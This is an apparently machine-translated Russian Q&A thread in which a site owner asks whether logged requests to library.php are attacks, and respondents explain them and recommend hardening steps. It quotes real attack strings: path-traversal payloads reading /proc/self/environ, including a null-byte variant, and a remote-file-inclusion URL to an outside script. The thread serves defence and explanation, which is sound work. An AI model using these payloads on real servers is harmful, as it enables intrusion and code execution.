это попытка взлома?

Просматривая мои 404 журналов, я заметил следующие два URL, оба из которых произошли один раз:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

и

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Для рассматриваемой страницы library.phpтребуется typeпеременная с полдюжиной различных допустимых значений, а затем idпеременная. Таким образом, действительный URL может быть

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

и идентификаторы все проходят mysql_real_escape_stringдо того, как их использовать для запроса к базе данных.

Я новичок, но мне кажется, что обе эти ссылки являются простыми атаками на рут-рут?

1) Как лучше всего защититься от подобных вещей, кроме 404?

2) я должен permaban IP (ы) ответственный?

РЕДАКТИРОВАТЬ: также только что заметил это

/library.php=http://www.basfalt.no/scripts/danger.txt

РЕДАКТИРОВАТЬ 2: IP-адрес оскорбления для всех трех атак был 216.97.231.15связан с провайдером, который называется Lunar Pages и расположен за пределами Лос-Анджелеса.

РЕДАКТИРОВАТЬ 3: Я решил позвонить провайдеру в пятницу утром по местному времени и обсудить проблему с кем бы я ни мог позвонить по телефону. Я опубликую результаты здесь через 24 часа или около того.

РЕДАКТИРОВАТЬ 4: Я закончил тем, что отправил электронное письмо их администраторам, и они сначала ответили, что "они изучают это", а затем днем ​​позже "эта проблема должна быть решена сейчас" Никаких подробностей, к сожалению.

0) да. По крайней мере, это систематический анализ вашего сайта, пытающийся выяснить, уязвим ли он.

1) Помимо проверки того, что ваш код чист, вы ничего не можете сделать, кроме как запустить собственные тесты для своего хоста, чтобы убедиться в его безопасности. Google Skipfish является одним из многих инструментов, которые помогут вам в этом.

2) Я бы.

Это нападение, он очень много объяснил здесь .

Как говорят другие: да, это попытка взлома. Пожалуйста, имейте в виду, что в дополнение к этой, возможно, ручной попытке существует множество автоматических ботнетов. Как правило, такого рода атаки пытаются проникнуть сквозь давние уязвимости и / или некоторые типичные недостатки кодирования, такие как неспособность проверить вводимые пользователем данные, приводящие к инъекции SQL, утечке системы или файла или тому подобное.

Забанить эти ботнеты вручную, скорее всего, невозможно, поскольку ботнеты могут использовать до тысячи уникальных IP-адресов, поэтому, если вы хотите их запретить, вам придется использовать какую-то программу автоматического бана. fail2ban приходит мне на ум; заставить его реагировать на события mod_security или некоторые другие записи в журнале.

Если ваш код чист и защищен сервером, такие попытки взлома только раздражают загрязнение журнала. Но лучше предпринять меры предосторожности и рассмотреть некоторые или все из перечисленных ниже, в зависимости от ваших потребностей:

• mod_security - это модуль Apache, отфильтровывающий все виды типичных попыток взлома. Он также может ограничивать исходящий трафик (страницу, которую сервер отправляет клиенту), если он видит подозрительный JavaScript и т. Д.

• Suhosin за ужесточение самого PHP.

• Запустите ваши PHP-скрипты как пользователь, которому принадлежит скрипт; такие вещи, как suphp и php-fpm делают это возможным.

• Смонтируйте ваш webroot и временный каталог PHP как noexec, nosuid, nodev .

• Отключите ненужные функции PHP, такие как system и passthru .

• Отключите ненужные модули PHP. Например, если вам не нужна поддержка IMAP, не включайте ее.

• Держите ваш сервер в актуальном состоянии.

• Следите за бревнами.

• Убедитесь, что у вас есть резервные копии.

• Имейте план, что делать, если кто-то взломает вас или какая-то другая катастрофа ударит вас.

Это хорошее начало. Тогда есть даже более экстремальные меры, такие как Snort и Prelude , но они могут быть очень излишними для большинства установок.

Вполне вероятно, что машина, которая делает эти запросы, является зомби-ботнетом. Если вы получаете эти запросы с нескольких IP-адресов, то, вероятно, не стоит их запрещать, потому что вам придется запретить половину интернета, чтобы это было эффективно.

Как уже было сказано - это попытка получить доступ к файлу / proc / self / environment для получения дополнительной информации.

Я предполагаю, что это машина Linux:

Вы должны использовать

• suhosin ( http://www.hardened-php.net/suhosin/ ) - защищает php-скрипты
• использовать ограничение php openbasedir
• fail2ban http://www.fail2ban.org/

Вы можете заблокировать IP-адрес атакующего сервера, но вы должны учитывать, что он не может быть атакован в этой функции.

Раньше я блокировал некоторые службы, когда мой сервер подвергался атаке: http / https / pop / imap / ssh, но оставил SMTP открытым, чтобы вы могли получать уведомления, если допустили ошибку.

Да, это попытка вторжения. Вы должны обязательно поставить запрет на IP. Если вы решите, что IP-адрес находится за пределами страны, вы можете просто запретить всю подсеть, которой он принадлежит. Это не столько проблема кода, сколько проблема с сервером. Посмотрите на это конкретное вторжение и убедитесь, что ваш хостинг-провайдер не уязвим к нему или подобным попыткам детского скрипта (именно так выглядит этот).

Это попытка использовать потенциальную уязвимость включения локальных файлов в сценарии на стороне сервера, доступные через ваш веб-сервер. В уязвимой системе Linux /proc/self/environможно злоупотреблять выполнением произвольного кода на стороне сервера.

Как рекомендует Янне Пиккарайнен:

Следите за бревнами.

Убедитесь, что у вас есть резервные копии.

В рамках этих журналов важно отслеживать изменения любых ваших файлов, включая ваш веб-сайт, как часть системы обнаружения вторжений. Примером является OpenBSD, который делает это по умолчанию для файлов конфигурации. Я поднимаю это, потому что:

• Для облачных сайтов были небольшие изменения в PHP-файлах на специально построенном веб-сайте (это просто вывод нестандартного тега, но, возможно, часть теста для измерения масштаба эксплойта).
• Для одного сотрудника были скрытые перенаправления в их файле WordPress .htaccess (только ссылки из результатов поиска Google).
• Для другого сотрудника были тонкие модификации их конфигурационного файла Joomla (не могу вспомнить, что, я думаю, что это было перенаправление также при определенных условиях).